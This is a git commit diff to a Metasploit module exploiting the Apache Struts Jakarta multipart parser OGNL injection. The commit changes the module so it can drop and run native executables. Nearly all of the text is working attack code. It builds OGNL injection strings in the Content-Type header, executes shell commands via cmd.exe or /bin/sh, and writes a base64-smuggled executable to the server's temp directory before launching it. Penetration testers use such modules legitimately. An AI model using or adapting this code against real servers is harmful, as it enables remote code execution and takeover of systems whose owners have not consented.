Allow native payloads

bug/bundler_fix
James Lee 2017-03-13 20:10:02 -05:00
parent 2053b77b01
commit 53c9caa013
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
1 changed files with 51 additions and 37 deletions

View File

@ -9,14 +9,19 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution',
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vunlerability in Apache Struts
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
via http Content-Type header.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
'Author' => [
'Nike.Zheng', # PoC
@ -33,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote
[
'Universal', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
],
@ -48,9 +53,11 @@ class MetasploitModule < Msf::Exploit::Remote
)
register_advanced_options(
[
OptString.new('HTTP::Method', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
]
)
@data_header = "X-#{rand_text_alpha(4)}"
end
def check
@ -61,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
begin
resp = send_http_request(ognl)
resp = send_struts_request(ognl)
rescue Msf::Exploit::Failed
return Exploit::CheckCode::Unknown
end
@ -76,18 +83,20 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
case payload.arch.first
when ARCH_JAVA
datastore['LHOST'] = nil
resp = send_payload(payload.encoded_jar)
#when ARCH_JAVA
# datastore['LHOST'] = nil
# resp = send_payload(payload.encoded_jar)
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload(generate_payload_exe)
end
#require'pp'
#pp resp.headers if resp
require'pp'
pp resp.headers if resp
end
def send_http_request(ognl, method: 'LOLWUT', stuff: '')
def send_struts_request(ognl, extra_header: '')
uri = normalize_uri(datastore["TARGETURI"])
content_type = "%{(#_='multipart/form-data')."
content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
@ -102,18 +111,16 @@ class MetasploitModule < Msf::Exploit::Remote
content_type << "}"
headers = { 'Content-Type' => content_type }
if stuff
headers['stuff'] = stuff
if extra_header
headers[@data_header] = extra_header
end
#puts content_type.gsub(").", ").\n")
#puts
#puts content_type.length
#puts
resp = send_request_cgi(
'uri' => uri,
'method' => method,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
@ -125,37 +132,44 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd)
ognl = ''
ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
ognl << %q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).|
ognl << %q|(#r.addHeader('decoded',#cmd)).|
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << "(#p.redirectErrorStream(true))."
ognl << "(#process=#p.start())."
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|
ognl << %q|(#r.addHeader('end','end'))|
send_http_request(ognl, stuff: cmd)
send_struts_request(ognl, extra_header: cmd)
end
def send_payload(jar)
def send_payload(exe)
ognl = ""
ognl << %q|(#stuff=@org.apache.struts2.ServletActionContext@getRequest().getHeader('stuff')).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).|
ognl << %q|(#f=@java.io.File@createTempFile('metasploit','.jar')).|
ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
# Using stuff from the sun.* package here means it likely won't work on
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
# work and I don't see a better way of getting binary data onto the
# system. =/
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
ognl << %q|(#fos.write(#d)).|
ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse').|
ognl << %q|(#fos.close()).|
ognl << %q|(#context[#r].addHeader('stuff',#d[0])).|
ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).|
ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).|
ognl << %q|(#p.start()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start())|
ognl << %q|(#context[#r].addHeader('end','end'))|
send_http_request(ognl, stuff: [jar.pack].pack("m").delete("\n"))
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
end
end
@ -165,8 +179,8 @@ Doesn't work:
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'run',true).get(0)).|
ognl << %q|(#context[#r].addHeader('meth',#m.toGenericString())).|
ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
ognl << %q|(#m.invoke(null,null)).|
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0